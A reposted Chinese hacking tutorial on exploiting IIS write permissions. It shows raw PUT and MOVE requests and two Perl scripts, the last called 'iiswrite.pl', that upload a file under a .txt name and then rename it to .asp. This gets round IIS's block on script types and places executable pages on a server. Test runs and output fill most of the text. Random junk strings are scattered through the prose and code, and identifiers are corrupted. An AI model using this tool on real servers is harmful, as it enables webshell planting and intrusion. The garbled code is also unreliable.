对iis写权限的利用

韩冰

作者：SuperHei 转自:http://www.4ngel.net

2 k5 F- l3 z" S4 f( ?3 [7 Y

大家可能看过《远程分析IIS设置》，里面对iis的各种设置进行了分析，我这里就对iis的写权限来分析下，以下引用《远程分析IIS设置》文章对iis写权限分析内容：

2 j9 X3 \( H& k* Y5 r1 U+ j) C

写权限

7 k& u( |& t- d" V

　　测试一个目录对于web用户是否具有写权限，采用如下方法：telnet到服务器的web端口(80)并发送一个如下请求：

# x' ]2 Y! U2 c( ?+ T! {

PUT /dir/my_file.txt HTTP/1.1 . L& D0 V0 j1 g+ I/ ^Host: iis-server Content-Length: 10

　　这时服务器会返回一个100( 继续)的信息：

) O9 V7 q' `2 Z$ _

1 p7 U N3 V. \HTTP/1.1 100 Continue Server: Microsoft-IIS/5.0 7 V6 N/ X- R( K( n' I6 O5 YDate: Thu, 28 Feb 2002 15:56:00 GMT

　　接着，我们输入10个字母：

' S: t8 l% d2 S0 R3 W) a

AAAAAAAAAA

　　送出这个请求后，看服务器的返回信息，如果是一个 201 Created响应：

. Z* [2 [" U1 I6 X9 k/ d+ j N/ W

3 n- l" f2 [1 d. JHTTP/1.1 201 Created : M- L2 z" t- YServer: Microsoft-IIS/5.0 J! r7 N9 z4 oDate: Thu, 28 Feb 2002 15:56:08 GMT Location: http://iis-server/dir/my_file.txt Content-Length: 0 Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, 4 o- P$ _7 l, W* P* D6 z! dPROPPATCH, SEARCH, LOCK, UNLOCK

　　那么就说明这个目录的写权限是开着的，反之，如果返回的是一个403错误，那么写权限就是没有开起来，如果需要你认证，并且返回一个 401(权限禁止) 的响应的话，说明是开了写权限，但是匿名用户不允许。如果一个目录同时开了”写”和“脚本和可执行程序”的话，那么web用户就可以上传一个程序并且执行它，恐怖哦%^#$!~

! W/ H( N1 p& n

　　这里简单说明下：

( N+ `+ }: ^, T1 X9 M( m; t9 h: W

PUT /dir/my_file.txt HTTP/1.1 + |8 f% F* m8 \Host: iis-server Content-Length: 10

　　PUT：请求服务器将附件的实体储存在提供的请求URL处，如果该请求URL指向的资源已经存在，则附件实体应被看做是当前原始服务器上资源的修改版本。如果请求URL没有指向现存的资源，该URL将被该请求的用户代理定义成为一个新的资源，原始服务器将用该URL产生这个资源。 : Q4 }9 _( {+ e; m/ q. T+ X　　Host：是HTTP请求的发送地址 　　Content-Length：是内容长度，也就是实体长度，该长度值和上传的文件大小一致

　　用nc（telnet）提交很烦琐，我们这里写个简单的perl程序，来完成这个复杂的提交过程，在写代码时我们用binmode()方式打开文件，代码如下：

/ U( a8 C& K) B J$ f1 B* w4 s

#!/usr/bin/perl 1 B8 {' l0 o5 |" r6 S* Kuse I:Socket; + ^: D: ^! w$ u! p& F5 l) a$ARGC = @ARGV;

& Z M! ^3 U: a0 S# N2 n

if ($ARGC != 4) { 　　print "usage0 127.0.0.1 80 kaka.exe /Scripts/file.exe\n"; 　　exit; : N( `% r& v4 \ ]' m" _, V& R} * h; |: I- A0 X2 R; {8 T1 v$host = @ARGV[0]; $port = @ARGV[1]; 4 G8 [+ I, l! N$file = @ARGV[2]; * y3 R: f. b" C, P$path = @ARGV[3];

& |5 z* F; d7 d0 t

@s=stat("$file"); $size = $s[7]; #得到文件大小 : y$ r, B* B" V. S! l; ]print "$file size is $size bytes\n";

7 O9 B1 F! o' V9 ]# F0 ?! \

my $sock = I:Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, % m& r7 L: H5 S: |PeerPort =>$port) || die "Sorry! Could not connect to $host \n"; $ X; ~ n( u. c: M5 Fprint $sock "PUT $path HTTP/1.1\n"; print $sock "Host: $host\n"; & p$ ]% r" \# L! t x: W6 Vprint $sock "Content-Length: $size\n\n"; #sock连接

open(FILE,"$file"); binmode(FILE); #用2进制打开文件

1 J" h7 d; Q/ N! X3 V

while (read(FILE,$char,1024)) { #读取文件数据上传 7 ~, x+ B9 C$ X6 _　　print $sock "$char"; 2 l% {9 a' p" c g( A} print $sock "\n\n"; ) t# }+ g! h7 j9 k@req = <$sock>; print "please wait...\n"; 2 n/ _! c( }1 ^* g$ h9 F5 A% m0 G8 Rsleep(2); if ($req[4]=~/200|201/){ 　　print "upfile Succeed!!!" ; #成功显示 } else{ " d2 C, A! E) e& \3 J8 y- {　　print "upfile faile!!!\n\n"; 　　print @req;#如果失败显示返回错误 } 6 j& X3 i4 @9 B) v( F! Oclose $sock; close FILE;

1 r* K9 u6 g' k' [6 Y8 }0 H

　　下面我们测试下：

+ {( k {; R, Q; |2 f1 u

' @0 S0 o |9 X1 U

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.txt /Scripts/kaka.txt 1 j( n$ M! I( j6 v( F6 R8 v, L8 F. ?- Ikaka.txt size is 14 bytes 6 _7 b& j/ G1 D/ N# S% E$ ~please wait... upfile Succeed!!!

C:\Inetpub\Scripts>dir kaka.txt 1 X5 T0 J4 X; ? L- ?' K3 s0 ?驱动器 C 中的卷没有标签。 + J) l' \8 e3 c4 H卷的序列号是 3CD1-479E

C:\Inetpub\Scripts 的目录

9 s# e+ K ~# p. F' n! ^7 ~

2004-05-05 00:37 14 kaka.txt + C1 w1 ]' [7 C+ e( L) o. W1 个文件 14 字节 * i8 y3 G, }5 r: _0 个目录 3,871,080,448 可用字节

　　这里我们把kaka.txt成功上传到了web目录Scripts下，以为程序中用了binmode()方式（2进制）打开文件，应该可以上传其他文件，我们先测试下exe文件：

: Y+ B+ y, d( d$ R# j6 L' X

7 q: ]6 K/ V3 o$ e. r , u- F$ K- _% `3 x7 j4 i

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 perl.exe /Scripts/perl.exe perl.exe size is 20535 bytes please wait... ' m* K7 ]; [ T6 e1 jupfile Succeed!!!

C:\Inetpub\Scripts>dir perl.exe 驱动器 C 中的卷没有标签。 2 C) s( ^/ C7 Q6 W( F卷的序列号是 3CD1-479E

6 @; ]% [, m, b0 O+ R; o

C:\Inetpub\Scripts 的目录

% Y; F2 x# ~4 C

2004-05-05 00:42 20,535 perl.exe 7 V+ H( Q2 K* r9 L2 u( K' X w1 个文件 20,535 字节 2 Y0 f5 g6 r# {" a2 E0 个目录 3,871,031,296 可用字节

$ q; n6 P+ p& }6 s

　　成功，可以上传exe了，是不是可以上传任意文件呢？接着来测试asp文件：

; \/ R* }0 x; t0 H

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.asp /Scripts/kaka.asp . p7 \7 }# @, {& x6 akaka.asp size is 4 bytes please wait... & P+ ^* c' t4 J( L# x: B' hupfile faile!!!

5 D4 I# F4 m6 N0 c4 l

HTTP/1.1 100 Continue 9 @3 F8 R1 N" c/ k7 ?+ XServer: Microsoft-IIS/5.0 Date: Tue, 04 May 2004 16:45:51 GMT

HTTP/1.1 403 Forbidden Server: Microsoft-IIS/5.0 Date: Tue, 04 May 2004 16:45:51 GMT ! y, V* @8 x6 [Connection: close * V6 w$ V* W3 c+ Y# o3 {Content-Type: text/html Content-Length: 44

8 X: f; z1 \9 M, S7 R) R) U

<body><h2>HTTP/1.1 403 Forbidden</h2></body>

" }3 s: ?8 K7 V+ e, o- @! x+ I

　　失败！！提示HTTP/1.1 403 Forbidden错误，看来直接用post方式写asp不行了，经过测试只要是iis支持的文件类型都会产生HTTP/1.1 403 Forbidden错误。

　　那我们怎样才可以上传iis支持的文件类型文件呢？iis除了可以执行put，post，get等动作外，还可以执行COPY, MOVE等命令，呵呵！我们这可以先把本地asp上传到远程主机web目录下的txt等其他文件，在提过copy，move命令来改为asp。

) w% A$ c; ]! X! a

　　我们还是先用nc提交测试下：

2 a1 D: l& _. l: \$ ?) G

D:\>nc 127.0.0.1 80 MOVE /scripts/kaka.txt HTTP/1.1 & \' K& K# p9 Z, R4 ~3 g) PHost:127.0.0.1 Destination: http://127.0.0.1/scripts/kaka.asp

HTTP/1.1 201 Created . j- s) `- G6 V* l7 LServer: Microsoft-IIS/5.0 2 `, T; Q2 y3 A7 ?/ ~" bDate: Sun, 05 Oct 2003 09:30:59 GMT 6 j' f" [8 b) C! T6 U- r6 uLocation: http://127.0.0.1/scripts/x.asp 6 w/ I0 M1 T7 `1 I$ ~Content-Type: text/xml 7 b/ S8 B1 G' P6 g2 [Content-Length: 0

! u3 ?4 w' [2 U: z( y

　　成功利用MOVE把/scripts/kaka.txt改名/scripts/kaka.asp。这样我们就可以结合put和move来完成通过iis写容易文件了。我们还是用perl来完成。

1 I3 ]" }& l9 E) g& L

　　测试写asp成功：

4 g7 q/ M8 l2 i( d* d( h

C:\usr\bin>perl kaka.pl 127.0.0.1 80 kaka.asp /scripts/kaka.asp ************************************************************ codz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569> ************************************************************ kaka.asp size is 4 bytes please wait... upfile Succeed!!! . A$ f3 s# s4 q6 D( C. GModifyfile Succeed!!!

* B2 @6 U$ S( h* y- {

　　最终的iiswrite.pl代码如下（由于写本文时，在网吧对于文章中代码是先又本人打“草稿”，又lanker测试并最终完成，THX lanker。）：

#!/usr/bin/perl 9 w7 n& Y, ? ]/ k#The iiswrite Script

use I:Socket; 2 A0 ^/ z3 A u G- U5 s# \* v4 b$ i- n$ARGC = @ARGV; ) i# p# @4 M z1 Tprint "*" x 60; print "\ncodz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569>\n"; 4 K- J+ B$ H3 S8 {print "*" x 60,"\n"; / n) X6 O+ g% A& Pif ($ARGC != 4) 5 M+ N# q8 Y2 q8 t8 Y/ t9 Z{ " S. c0 T2 }& R- ?) ?- u　　print "usage0 127.0.0.1 80 kaka.txt /scripts/my_file.txt\n"; 4 z$ K: {3 B, @: L; u) r, r! N　　exit; , _9 F& A3 K; W- |# O. ?} * F) G8 w4 A6 {; x$host = @ARGV[0]; $port = @ARGV[1]; 0 s$ [4 {* [: Y' K$path = @ARGV[3]; 0 v& }, g# p, }7 F$ C$file = @ARGV[2];

@path=split("/",$path); . t3 [& \6 X* |/ a) n) R# d% z$any = pop(@path); $path1=join("/",@path); @s=stat("$file"); 6 M; E: k3 D% q$size = $s[7];

print "$file size is $size bytes\n"; my $sock = I:Socket::INET->new(Proto =>"tcp", * _* N1 H6 W: r* P& Y/ B5 M& WPeerAddr =>$host, PeerPort =>$port) || die "Sorry! Could not connect to $host \n"; print $sock "PUT $path1/lanker.txt HTTP/1.1\n"; - q* l6 X) U; G2 x- C: `print $sock "Host: $host\n"; 1 W' h! y' p" |. B3 _. |" O5 n6 wprint $sock "Content-Length: $size\n\n"; ; z; k/ A+ b( n( B, _open(FILE,"$file")|| die "Can't open $file"; , G8 n( M( Q4 b$ Wbinmode(FILE); 0 Z$ r3 w! N7 T+ wwhile (read(FILE,$char,1024)) { % ]8 t" z7 ?$ H　　print $sock "$char"; } " o) T' c( d& `print $sock "\n\n"; 5 m8 I8 Y$ p) G {@req = <$sock>; print "please wait...\n"; sleep(2); if ($req[4]=~/200|201/){ ) Y Y2 ]- d4 L, J2 L　　print "upfile Succeed!!!\n" ; } else{ " f/ t% _8 f5 [: w0 V. F h4 c5 C+ j　　print "upfile faile!!!\n"; } close $sock; % S% @& i. x" R7 `close FILE;

5 e8 Q8 L/ n& M' ~/ R' z

my $sock = I:Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, 3 p' V# M- _# iPeerPort =>$port) || die "Sorry! Could not connect to $host \n"; 3 {7 x7 W7 Q' p# Hprint $sock "MOVE $path1/lanker.txt HTTP/1.1\n"; print $sock "Host: $host\n"; : |3 E( U2 S7 J! L6 ?! Cprint $sock "Destination:http://$hostport$path\n\n\n\n"; @req = <$sock>; if ($req[0]=~/20\d+|/){ 　　print "Modifyfile Succeed!!!" ; } else{ 　　print "upfile faile!!!"; 3 e' Y; C. R# _; H# A} close $sock